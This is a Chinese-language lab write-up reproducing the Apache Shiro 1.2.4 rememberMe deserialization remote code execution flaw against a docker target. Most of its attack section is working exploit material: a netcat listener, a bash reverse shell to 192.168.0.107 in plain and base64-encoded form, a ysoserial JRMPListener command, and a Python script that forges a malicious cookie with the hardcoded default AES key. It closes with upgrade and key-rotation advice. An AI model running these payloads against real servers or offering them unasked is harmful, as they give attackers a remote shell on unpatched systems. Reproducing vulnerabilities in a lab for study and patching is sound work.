漏洞简介
Apache shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值进行Base64解码,然后AES解密,再反序列化;然而AES的密钥是硬编码的, 就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
影响版本
Apache Shiro <= 1.2.4
漏洞复现
复现环境
攻击机 win10
靶机 ubuntu20
环境搭建
使用网上的docker环境进行复现
docker pull medicean/vulapps:s_shiro_1 #下载镜像
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1 #运行镜像
攻击演示
首先生成攻击载荷
设置监听
nc -lp 1111
反弹shell命令
bash -i >& /dev/tcp/192.168.0.107/1111 0>&1
进入这个网站将命令转换成加密后的命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA3LzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}
使用ysoserial.jar 中的JRMP监听模块,监听 5858 端口并执行反弹shell命令
java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 5858 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA3LzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}'
然后通过脚本伪造cookie内容
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
python shrio.py 192.168.0.107:5858
注意这里的端口是ysoserial监听的端口
复制生成的cookie,访问靶机地址,点击红框处
输入admin/admin 记得选择remember me
拦截一下数据包,然后修改cookie,将原先的删除,加入生成rememberMe,之后点击Go
然后来到ysoserial监听的终端可以看到出现了一些东西
在nc监听端终端收到了shell,可以执行命令
修复方式
- 升级shiro到1.2.5及以上
- 如果在配置里配置了密钥, 不要使用网上的密钥, 利用官方提供的方法去生成密钥。